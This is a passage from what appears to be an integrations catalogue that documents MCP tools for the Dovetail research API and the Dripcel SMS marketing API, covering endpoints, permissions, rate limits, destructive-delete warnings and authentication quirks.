`content` field, and attach custom field data via the `fields` array. Returns the data object without the content body. via POST /v1/data POST /api/v1/dovetail/v1/data. Scopes: api. dovetail_post_v1_data_import_file (write) — Create a new data entry from a file. Provide the file in **exactly one** of two ways: - `url` — a publicly accessible URL that Dovetail downloads and imports, or - `file_id` — the id of a file you have already uploaded via the file upload API (the upload must be complete). The data entry must be associated with a project via `project_id`. Supported file types include documents (PDF, DOCX), audio files (MP3, WAV, M4A), and video files (MP4, MOV). If the file is audio or video, Dovetail will automatically queue it for transcription. The resulting transcript will be added to the data body once processing completes. When importing from `url`, optionally set `created_at` to backdate the entry and `author_id` to attribute it to a specific user. These, along with `mime_type`, are ignored when importing by `file_id` (the file already carries its own metadata). Returns the newly created data object (without content). > 🚧 Supported URLs > > The URL must use HTTPS and resolve to a public address; Dovetail rejects URLs that point to private, loopback, or link-local addresses. Only URLs that link directly to a downloadable file are supported. If the URL does not include a file extension, you must provide the `mime_type` parameter so Dovetail can determine how to process the file. > 🚧 Fields > > Only existing and unique fields can be referenced. This endpoint will not create new fields, or attempt to differentiate between duplicate field labels. > 📘 Transcription notifications > > When a transcription completes or fails, the account linked to the API token will receive a notification. You can manage notification preferences in [notification settings](https://dovetail.com/settings/user/notifications). via POST /v1/data/import/file POST /api/v1/dovetail/v1/data/import/file. Scopes: api. dovetail_post_v1_dataset_by_data_connector_id_data (write) — Send a new data point to a dataset, without it having to belong to a channel. A dataset is one connection under a source — the same thing shown as a dataset in the Dovetail UI. Sending data here lets a push-based source (such as the API or Zapier) ingest before any channel subscribes to it. Field values are captured against the source as the data arrives, so once a channel does subscribe, the data is already filterable. No `url` is returned. Until a channel subscribes to the source, the data point has no page in Dovetail to link to. via POST /v1/dataset/{data_connector_id}/data POST /api/v1/dovetail/v1/dataset/{data_connector_id}/data. Scopes: api. dovetail_post_v1_docs (write) — Create a new doc in your Dovetail workspace. Docs are rich-text documents used to write up research reports, share findings, and publish deliverables. You can provide the initial content as HTML, Markdown, or plain text via the `content` and `content_type` fields. Markdown support enables importing content from Confluence, Notion, and other wiki or document stores. HTML content may include inline Dovetail nodes using the `data-dovetail-type` attribute — see the mention shape below for an example. A doc can be placed inside a project (via `project_id`) or a folder (via `folder_id`), but not both. If neither is specified, the doc is created at the workspace root level. Returns the doc object without the content body. **Inline mentions**: to reference a Dovetail user, include a span with `data-dovetail-type="mn"` and `data-dovetail-attrs='{"id":""}'`. The span's inner text is used as the fallback label if the user cannot be resolved. When the id resolves to a live workspace user, the span is replaced with a live mention node on import. Unresolved ids degrade gracefully to plain text — the import does not fail. via POST /v1/docs POST /api/v1/dovetail/v1/docs. Scopes: api. dovetail_post_v1_docs_by_doc_id_comments (write) — Create a comment on a doc. If no comment thread exists on the doc, one will be created automatically. The comment is attributed to the authenticated user. via POST /v1/docs/{doc_id}/comments POST /api/v1/dovetail/v1/docs/{doc_id}/comments. Scopes: api. dovetail_post_v1_docs_by_doc_id_comments_resolve (write) — Resolve the comment thread on a doc. This marks the conversation as resolved. via POST /v1/docs/{doc_id}/comments/resolve POST /api/v1/dovetail/v1/docs/{doc_id}/comments/resolve. Scopes: api. dovetail_post_v1_docs_by_doc_id_comments_unresolve (write) — Unresolve the comment thread on a doc. This reopens the conversation. via POST /v1/docs/{doc_id}/comments/unresolve POST /api/v1/dovetail/v1/docs/{doc_id}/comments/unresolve. Scopes: api. dovetail_post_v1_docs_import_file (write) — Create a new doc by importing a file. Provide the file in **exactly one** of two ways: - `url` — a publicly accessible URL that Dovetail downloads and imports, or - `file_id` — the id of a file you have already uploaded via the file upload API (the upload must be complete). Supported file types include documents (PDF, DOCX), audio files (MP3, WAV, M4A), and video files (MP4, MOV). If the imported file is audio or video, Dovetail will automatically queue it for transcription. The resulting transcript will be added to the doc body once processing completes. The doc can be placed inside a project (via `project_id`) or a folder (via `folder_id`), but not both. `mime_type` is only used when importing from `url`; it is ignored when importing by `file_id` (the file already carries its own metadata). Returns the newly created doc object (without content). > 🚧 Supported URLs > > The URL must use HTTPS and resolve to a public address; Dovetail rejects URLs that point to private, loopback, or link-local addresses. Only URLs that link directly to a downloadable file are supported. If the URL does not include a file extension, you must provide the `mime_type` parameter so Dovetail can determine how to process the file. > 📘 Transcription notifications > > When a transcription completes or fails, the account linked to the API token will receive a notification. You can manage notification preferences in [notification settings](https://dovetail.com/settings/user/notifications). via POST /v1/docs/import/file POST /api/v1/dovetail/v1/docs/import/file. Scopes: api. dovetail_post_v1_fields (write) — Create a field in a project or workspace field group. You must provide either `project_id` or `workspace_field_group_id`, along with `field_set_type`. via POST /v1/fields POST /api/v1/dovetail/v1/fields. Scopes: api. dovetail_post_v1_folders (write) — Create a new folder in your Dovetail workspace. Folders organize projects, docs, channels, and other content into a hierarchical structure. Optionally provide a `parent_folder_id` to nest the folder inside an existing folder. If omitted, the folder is created at the workspace root level. Returns the newly created folder object. via POST /v1/folders POST /api/v1/dovetail/v1/folders. Scopes: api. dovetail_post_v1_highlights (write) — Create a highlight on a transcript by specifying start and end timestamps in seconds. The data entry (referenced by `note_id`) must contain an audio or video transcript for the highlight to be created. If the entry contains multiple audio/video elements, the first transcript is used. **Tip:** to get word-level timestamps for picking `start_time` and `end_time`, pair this endpoint with **Export data** (`GET /v1/data/:data_id/export/html`). The HTML export wraps each transcript word in a `` carrying `data-monologue-start-time` and `data-monologue-end-time` attributes; the markdown export only includes paragraph-level timestamps. Bounds are snapped to the nearest word, so `start_time` / `end_time` returned by **Get highlight** / **List highlights** can be sent back here unchanged. Returns the created highlight. via POST /v1/highlights POST /api/v1/dovetail/v1/highlights. Scopes: api. dovetail_post_v1_highlights_by_highlight_id_tags (write) — Apply one or more tags (up to 10 per request) to a highlight. Tags are labels used to categorize highlights during qualitative analysis (e.g. "Usability Issue", "Feature Request"). Each tag must belong to the highlight's project, or to a workspace tag board linked to that project. Discover tag IDs via **List tags** (or create one via **Create tag**) and highlight IDs via **List highlights**. If any tag ID is invalid or does not belong to the highlight's project, the request fails and no tags are applied — the response names the offending tag IDs. Applying a tag the highlight already has is a no-op. Only highlights on data entries can be tagged: a range carried by a doc/insight, or one that is an inline comment rather than a highlight, is rejected with a 400 and will never become taggable — do not retry it. Returns the updated highlight, including its full tag list. via POST /v1/highlights/{highlight_id}/tags POST /api/v1/dovetail/v1/highlights/{highlight_id}/tags. Scopes: api. dovetail_post_v1_notes (write) — Create a new data entry (note) within a Dovetail project. Data entries capture raw research data — interview transcripts, survey responses, or session recordings. They must be associated with a project via `project_id`. **Note:** The notes resource has been renamed to **data** in Dovetail. New integrations should use **Create data** (`POST /v1/data`) instead. You can provide the initial content as plain text or HTML via the `content` field, and attach custom field data via the `fields` array. Returns the note object without the content body. via POST /v1/notes POST /api/v1/dovetail/v1/notes. Scopes: api. dovetail_post_v1_notes_import_file (write) — Create a new data entry (note) by importing a file from a publicly accessible URL. The entry must be associated with a project via `project_id`. Supported file types include documents (PDF, DOCX), audio files (MP3, WAV, M4A), and video files (MP4, MOV). **Note:** The notes resource has been renamed to **data** in Dovetail. New integrations should use **Import file to data** (`POST /v1/data/import/file`) instead. If the imported file is audio or video, Dovetail will automatically queue it for transcription. The resulting transcript will be added to the entry body once processing completes. Returns the newly created note object (without content). > 🚧 Supported URLs > > The URL must use HTTPS and resolve to a public address; Dovetail rejects URLs that point to private, loopback, or link-local addresses. Only URLs that link directly to a downloadable file are supported. If the URL does not include a file extension, you must provide the `mime_type` parameter so Dovetail can determine how to process the file. > 🚧 Fields > > Only existing and unique fields can be referenced. This endpoint will not create new fields, or attempt to differentiate between duplicate field labels. > 📘 Transcription notifications > > When a transcription completes or fails, the account linked to the API token will receive a notification. You can manage notification preferences in [notification settings](https://dovetail.com/settings/user/notifications). via POST /v1/notes/import/file POST /api/v1/dovetail/v1/notes/import/file. Scopes: api. dovetail_post_v1_projects (write) — Create a new project in your Dovetail workspace. Projects are the primary container for organizing research — they hold data, docs, highlights, tags, and insights. Optionally provide a `template_id` to create the project from an existing workspace template. The new project will inherit the template's fields, views, tags, and other structural elements. Retrieve available templates using the **List project templates** (`GET /v1/projects/templates`) endpoint. Optionally provide a `folder_id` to create the project inside an existing folder. If omitted, the project is created at the workspace root level. Returns the newly created project object. via POST /v1/projects POST /api/v1/dovetail/v1/projects. Scopes: api. dovetail_post_v1_projects_by_project_id_context_docs (write) — Add an insight to the project's AI context. A project can have at most 10 context docs. If the insight is already linked, this is a no-op. Returns the full updated list of context docs. via POST /v1/projects/{project_id}/context/docs POST /api/v1/dovetail/v1/projects/{project_id}/context/docs. Scopes: api. dovetail_post_v1_projects_by_project_id_context_keywords (write) — Add one or more keywords to the project's AI context. Duplicate keywords are ignored. Returns the full updated list of keywords. via POST /v1/projects/{project_id}/context/keywords POST /api/v1/dovetail/v1/projects/{project_id}/context/keywords. Scopes: api. dovetail_post_v1_search (write) — Perform a full-text search across your workspace's content. Returns matching highlights, data (notes), insights, channels, tags, and themes in a single response. Use the `query` field for keyword search, or provide structured `filter` objects to narrow results by specific entity types and their attributes. To include a content type with no filter constraints, pass an empty array for that type (e.g. `"notes": []`). Types omitted from the filter are excluded from results. The `notes` key in the filter and response corresponds to the "data" resource in the Dovetail product. Results are paginated using `offset` and `limit` (default 50, max 250). Each content type is returned in its own array within the response. > 📘 Prefer Search V2 > > For more advanced filtering including location-based search, contributor filters, and additional content types (projects, folders, people, dashboards, agents), use the **Search V2** (`POST /v2/search`) endpoint. via POST /v1/search POST /api/v1/dovetail/v1/search. Scopes: api. dovetail_post_v1_summarize (write) — Generate an AI-powered summary from a collection of highlights, data entries (notes), insights, themes, and/or tags. Provide one or more arrays of IDs and Dovetail will synthesize the content into a concise summary. At least one of `highlight_ids`, `note_ids`, `insight_ids`, `theme_ids`, or `tag_ids` must contain at least one item. The `note_ids` field accepts data entry IDs (the product now calls these "data" rather than "notes"). Set `with_citations` to `true` (default) to include citation references in the summary. Each citation links back to the specific source item (highlight, data entry, insight, theme, or tag) that contributed to that part of the summary. Returns a summary string and an array of citations with their source IDs and types. via POST /v1/summarize POST /api/v1/dovetail/v1/summarize. Scopes: api. dovetail_post_v1_tags (write) — Create a new tag. Tags are labels used to categorize highlights — for example "Usability Issue", "Feature Request", or "Positive Feedback". Pass `project_id` to create a project tag in that project. Omit it to create a workspace tag on a workspace tag board — workspace tags can be applied to highlights in every project linked to that board. Creating workspace tags requires a plan with workspace tags enabled. By default the tag is created in the first group of the first tag board in the project or workspace. Pass `tag_board_id` and/or `group_id` to target a specific board or group (discover IDs via **List tag boards**). If the workspace has no tag board, create one in the Dovetail web app first. Once created, the tag can be applied to highlights using the **Create transcript highlight** endpoint or in the Dovetail web app. Returns the newly created tag object. via POST /v1/tags POST /api/v1/dovetail/v1/tags. Scopes: api. dovetail_post_v1_transcripts_by_data_id_audio (write) — Attach an already-uploaded audio file to the live transcript on a data entry. The transcript node currently being written to via `appendLiveTranscriptUtterance` or `setLiveTranscript` is wrapped in an audio/video block carrying the supplied `file_id`, giving the editor audio playback + transcript-sync. Idempotent for the same `file_id` (returns 200). Returns 409 if the transcript is already wrapped with a different `file_id`. Returns 404 if the data entry does not exist. via POST /v1/transcripts/{data_id}/audio POST /api/v1/dovetail/v1/transcripts/{data_id}/audio. Scopes: api. dovetail_post_v1_transcripts_by_data_id_utterance (write) — Add a finalised utterance to a data entry's transcript and broadcast it to connected clients. If the entry has no transcript, one is created automatically. Send finalised utterances only. via POST /v1/transcripts/{data_id}/utterance POST /api/v1/dovetail/v1/transcripts/{data_id}/utterance. Scopes: api. dovetail_post_v2_files_by_file_id_large_upload_complete (write) — Finalize an upload session created by **Initiate large upload** (`POST /v2/files/large-upload`). The `parts` array must include every part that was uploaded, with the `etag` returned by the storage backend for each part `PUT`. On success the file is marked as uploaded and returned in the response. The file's processing `status` may still be `pending` while downstream processing runs. A `502` response indicates the storage backend rejected the finalization (for example, a part `etag` mismatch) — the client may retry. Idempotent for already-DONE files: a retry of a previously-successful complete call (or a complete call arriving after the auto-finalize backstop has already finalised the row) returns `200` with the file metadata instead of `409`. `FAILED` / `CANCELLED` still return `409`. To cancel an in-progress upload, simply stop calling the API: abandoned file records are garbage-collected after 24 hours, and any incomplete S3 multipart parts are reaped by an S3 bucket lifecycle rule. via POST /v2/files/{file_id}/large-upload/complete POST /api/v1/dovetail/v2/files/{file_id}/large-upload/complete. Scopes: api. dovetail_post_v2_files_by_file_id_upload_complete (write) — Finalize an upload session created by **Initiate single-PUT upload** (`POST /v2/files/upload`). The server `HEAD`s the S3 object to confirm bytes are present and that the size matches the declared value, then flips the file row to `DONE`. On success the file is marked as uploaded and returned in the response. The file's processing `status` may still be `pending` while downstream processing runs. Idempotent for already-DONE files: a retry of a previously-successful complete call (or a complete call arriving after the auto-finalize backstop has already finalised the row) returns `200` with the file metadata instead of `409`. `FAILED` / `CANCELLED` still return `409`. To cancel an in-progress upload, simply stop calling the API: abandoned file records are garbage-collected after 24 hours. via POST /v2/files/{file_id}/upload/complete POST /api/v1/dovetail/v2/files/{file_id}/upload/complete. Scopes: api. dovetail_post_v2_files_large_upload (write) — Initiate a multipart upload for files **up to 10 GB**. The response includes an opaque `upload_id` and a fully populated `urls` array containing one pre-signed `PUT` URL per part the client should upload. After uploading every part, call **Complete large upload** at `POST /v2/files/{file_id}/large-upload/complete` with the resulting part `etag` values. The client may optionally specify the desired number of `parts` (1 to 10000). If omitted, the server picks a value based on the declared `size` and the recommended part size — for most uploads this is the right default. Every URL in `urls` expires roughly **3 hours** after issue. If a part `PUT` fails after that window, abandon the upload and initiate a fresh session. Once finalized, inspect the file with `GET /v1/files/{file_id}` and download it with `GET /v1/files/{file_id}/download` — no v2 read surface exists yet. Returns `201` with the upload session details. Orphaned uploads that are not completed are eventually cleaned up. via POST /v2/files/large-upload POST /api/v1/dovetail/v2/files/large-upload. Scopes: api. dovetail_post_v2_files_upload (write) — Initiate a single-PUT upload for files **up to 5 GB**. The response includes a pre-signed `upload_url` that the client should `PUT` the full file body to. After the `PUT` succeeds, call **Complete upload** at `POST /v2/files/{file_id}/upload/complete`. The pre-signed `upload_url` is signed for server-side encryption with AWS KMS, so the `PUT` request **must** include the header `x-amz-server-side-encryption: aws:kms`. Omitting it (or sending a different value) fails the request with a signature mismatch (HTTP `403`). ```bash curl -X PUT "" \ -H "x-amz-server-side-encryption: aws:kms" \ -H "Content-Type: " \ --data-binary @/path/to/file ``` Files larger than 5 GB must use the large-upload endpoint (`POST /v2/files/large-upload`) instead. Once finalized, inspect the file with `GET /v1/files/{file_id}` and download it with `GET /v1/files/{file_id}/download` — no v2 read surface exists yet. Returns `201` with the upload session details. Orphaned uploads that are not completed are eventually cleaned up. via POST /v2/files/upload POST /api/v1/dovetail/v2/files/upload. Scopes: api. dovetail_post_v2_search (write) — Perform an advanced search across your entire Dovetail workspace. This is the recommended search endpoint, supporting all content types: agents, highlights, data (notes), insights, channels, dashboards, tags, themes, projects, folders, and people (contacts). **Filtering options:** - **`types`** — Restrict results to specific content types (defaults to all types). - **`query`** — Full-text search string matched against titles and content. - **`location`** — Scope results to specific projects or folders using their IDs. - **`user`** — Filter by contributor or author. - **`tags`** / **`themes`** — Filter by tag or theme IDs. - **`people`** — Filter by contacts (people) mentioned in content. - **`fields`** — Filter by custom field values. - **`date`** — Filter by creation date range. - **`archived`** — Include archived items (default: `false`). Results can be sorted by relevance (default) or other criteria, and are paginated using `offset` and `limit` (default 20, max 100). Each content type is returned in its own array within the response. via POST /v2/search POST /api/v1/dovetail/v2/search. Scopes: api. dovetail_put_v1_transcripts_by_data_id (write) — Create or replace a data entry's live transcript by fetching a Recall async transcript JSON from `download_url`, mapping participant names to speaker labels, and writing the result in a single commit. Broadcasts the change to connected clients. A transcript with no usable speech writes a "no speech detected" transcript and returns 200 with `written: 0`, so media can still be attached. Returns 400 if the URL is unsafe, unreachable, or the payload cannot be read. Returns 409 if the transcript is already wrapped in an audio/video block (media has been attached). via PUT /v1/transcripts/{data_id} PUT /api/v1/dovetail/v1/transcripts/{data_id}. Scopes: api. ================================================================================ ## Dripcel URL: https://www.agenticfabriq.com/integrations/dripcel Section: Integrated Tools Dripcel — 32 MCP tools Provider key: dripcel. Scopes: campaign.read.config, compliance:send.create, contact.create, contact.delete, contact.read.pii, contact.update, contact.update.deduped_campaign_ids, contact.update.tag_ids, delivery.read, marketplace_transaction.create, reply.read, sale.create, sendLog.create, sendLog.read, tag.delete, tag.read. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dripcel_delete_contacts_by_cell (write, destructive) — Delete a contact via DELETE /contacts/{cell}. Deletes one contact by cell number. DESTRUCTIVE and not reversible through this API: Dripcel publishes no undelete, and the contact's history goes with it. An unparseable number answers 400 `"Invalid cell number"` and a number with no contact answers 404 `"Contact not found"`. To confirm a deletion, read the contact back and expect that 404 -- absence is a status question, not something the delete's own reply can prove. Deleting is rarely what a compliance workflow wants. To stop messaging someone, OPT THEM OUT (`dripcel_post_contacts_by_cell_optOut` with `all: true`) -- that keeps the suppression record, while deleting the contact discards it. Requires the `contact.delete` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `contact.delete`. It is NOT nested under `contact.update`, so a key that may edit contacts cannot necessarily delete one. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. DELETE /api/v1/dripcel/contacts/{cell}. Scopes: contact.delete. dripcel_delete_tags_by_tag_id (write, destructive) — Delete a tag via DELETE /tags/{tag_id}. Deletes one tag. DESTRUCTIVE, and wider than it looks: Dripcel's own danger callout says this "will also remove the tag from all contacts and campaigns that have it". A campaign whose targeting selects on that tag therefore changes WHO IT SENDS TO as a side effect of this call, and there is no undelete. To confirm a deletion, list the tags and check for absence rather than reading the tag back. Requires the `tag.delete` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `tag.delete`. It is NOT nested under `tag.read`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. DELETE /api/v1/dripcel/tags/{tag_id}. Scopes: tag.delete. dripcel_get_balance (read) — Read the credit balance via GET /balance. Returns the organisation's Dripcel credit balance as a bare number in `data`. It takes no arguments, touches no contact data and is the cheapest authenticated read on the API, which is why it is the endpoint a pasted key is probed against. Call this BEFORE the two credit-metered tools (contact search and the compliance check): they spend this number, and Dripcel answers 402 `"Insufficient balance"` when it runs out. Dripcel documents no permission for this endpoint, and it is NOT assumed to be open: on 2026-09-23 a key holding NONE of Dripcel's sixteen permissions reached it successfully, which is what an ungated endpoint looks like and what a gated one cannot do. Recorded as measured rather than asserted. Measured here directly: this endpoint answered 200 `{"ok":true,"data":35}` to that same permissionless key. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/balance. Scopes: none. dripcel_get_campaigns (read) — List campaigns via GET /campaigns. Lists the organisation's campaigns in the ORIGINAL `Campaign` model. Newer campaigns are stored in the richer, nested `Campaigns V2` model and served on the separate `/campaigns/v2` routes, so this list is not necessarily every campaign the account has -- read both when you need a complete picture. Requires the `campaign.read.config` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `campaign.read.config`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/campaigns. Scopes: campaign.read.config. dripcel_get_campaigns_by_campaign_id (read) — Read a campaign via GET /campaigns/{campaign_id}. Reads one campaign in the original `Campaign` model. A campaign stored in the V2 model is served by the `/campaigns/v2/{campaign_id}` tool instead. A campaign id Dripcel cannot resolve answers 404 `"Campaign not found"`. Requires the `campaign.read.config` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `campaign.read.config`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/campaigns/{campaign_id}. Scopes: campaign.read.config. dripcel_get_campaigns_v2 (read) — List V2 campaigns via GET /campaigns/v2. Lists the organisation's `Campaigns V2` campaigns -- the newer, nested model carrying `targeting` (tag and segment `$in`/`$nin` sets, optional proportional tag `weights`, and event predicates), per-channel `sms` and `email` configuration, the tracking link, hooks, recurring-send windows, financials, legal confirmations, a `marketplace` block when the campaign came from an offer, and optimisation settings. A V2 campaign is always returned in full: Dripcel documents that field projection and the `format` query parameter are not supported on these routes. Requires the `campaign.read.config` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `campaign.read.config`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/campaigns/v2. Scopes: campaign.read.config. dripcel_get_campaigns_v2_by_campaign_id (read) — Read a V2 campaign via GET /campaigns/v2/{campaign_id}. Reads one `Campaigns V2` campaign in full. A campaign id Dripcel cannot resolve answers 404 `"Campaign not found"` -- a missing record, not a missing route, because this host matches the route before it authenticates or looks anything up. Requires the `campaign.read.config` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `campaign.read.config`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/campaigns/v2/{campaign_id}. Scopes: campaign.read.config. dripcel_get_contacts_by_cell (read) — Read a contact via GET /contacts/{cell}. Reads one contact by cell number, including the personally identifying fields -- which is what its permission name says. An unparseable number answers 400 `"Invalid cell number"` and a number with no contact answers 404 `"Contact not found"`, so the two failures are distinguishable. Requires the `contact.read.pii` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `contact.read.pii`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/contacts/{cell}. Scopes: contact.read.pii. dripcel_get_deliveries (read) — List deliveries via GET /deliveries. Reads delivery records. Neither parameter is required on its own, but AT LEAST ONE must be given: `cell` for one contact's deliveries, or `customerId` for the deliveries of one send (the `customerId` the SMS-send tool returns). A call with neither answers 400. Requires the `delivery.read` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `delivery.read`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/deliveries. Scopes: delivery.read. dripcel_get_email_templates (read) — List email templates via GET /email/templates. Lists the organisation's email templates as `data.templates`. Their `_id` values are what the bulk-email tool's `template_id` takes. It is the only template operation this API exposes: Dripcel's page describes creating, updating and deleting templates, but publishes no route for any of them. Dripcel documents no permission for this endpoint, and it is NOT assumed to be open: on 2026-09-23 a key holding NONE of Dripcel's sixteen permissions reached it successfully, which is what an ungated endpoint looks like and what a gated one cannot do. Recorded as measured rather than asserted. Measured here directly: this endpoint answered 200 `{"ok":true,"data":{"templates":[]}}` to that same permissionless key. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/email/templates. Scopes: none. dripcel_get_exchange_buyer_transaction_create (write) — Confirm one marketplace lead by postback via GET /exchange/buyer/transaction/create. Confirms a SINGLE marketplace lead through a GET, which is the shape a landing page or webhook postback can reach. It takes the same values as the bulk create tool, as query parameters: exactly one of `campaign_id`, `send_id` or `click_id`, plus `resource_id` and `cell`, and optionally the `status` to land on. AUTHENTICATES DIFFERENTLY FROM EVERY OTHER DRIPCEL TOOL. This endpoint reads the API key from the `key` QUERY PARAMETER and ignores the Authorization header entirely -- measured 2026-09-23: `Authorization: Bearer ` answers 401 `"No key provided"`, while `?key=` with no header at all is accepted. Agentic Fabriq attaches `key` server-side for this tool only; it is NOT an argument, and a `key` you pass would be ignored. It is Dripcel's browser/webhook postback form of the POST tool beside it, which is the one to prefer from an agent: the POST takes a batch, keeps the secret out of the URL, and needs the same permission. MOVES MONEY on `status: "completed"`, with the same duplicate and cap protections as the bulk create tool. Requires the `marketplace_transaction.create` permission on the API key. Measured 2026-09-23: with `?key=` and nothing else, this endpoint answers 403 naming `marketplace_transaction.create` -- the SAME permission as the POST tool. Dripcel's documentation prints no permission line for this route and the hand-built ledger recorded none; the live API is what settles it. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/exchange/buyer/transaction/create. Scopes: marketplace_transaction.create. dripcel_get_sales_create (write) — Record one sale by postback via GET /sales/create. Records a SINGLE sale through a GET, which is the shape a thank-you page or webhook postback can reach. It takes the same values as the bulk upload tool, as query parameters. For a `Campaigns V2` campaign the cell must be in international format. The same 404 (unknown campaign) and 409 (`"Duplicate sale"`) apply. AUTHENTICATES DIFFERENTLY FROM EVERY OTHER DRIPCEL TOOL. This endpoint reads the API key from the `key` QUERY PARAMETER and ignores the Authorization header entirely -- measured 2026-09-23: `Authorization: Bearer ` answers 401 `"No key provided"`, while `?key=` with no header at all is accepted. Agentic Fabriq attaches `key` server-side for this tool only; it is NOT an argument, and a `key` you pass would be ignored. It is Dripcel's browser/webhook postback form of the POST tool beside it, which is the one to prefer from an agent: the POST takes a batch, keeps the secret out of the URL, and needs the same permission. Requires the `sale.create` permission on the API key. Measured 2026-09-23: with `?key=` and nothing else, this endpoint answers 403 naming `sale.create` -- the SAME permission as the POST tool. Dripcel's documentation prints its permission line above the POST heading and none at this one, and the hand-built ledger recorded none; the live API is what settles it. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/sales/create. Scopes: sale.create. dripcel_get_send_logs_by_send_id (read) — Read a send log via GET /send-logs/{send_id}. Reads one send's metadata: the campaign it belongs to, the UNRESOLVED template that was sent, why it was triggered, when delivery started, and its destinations. `group_destinations` decides what `destinations` is -- `count` for the number of contacts, `list` for the actual cell numbers. An unknown send id answers 404 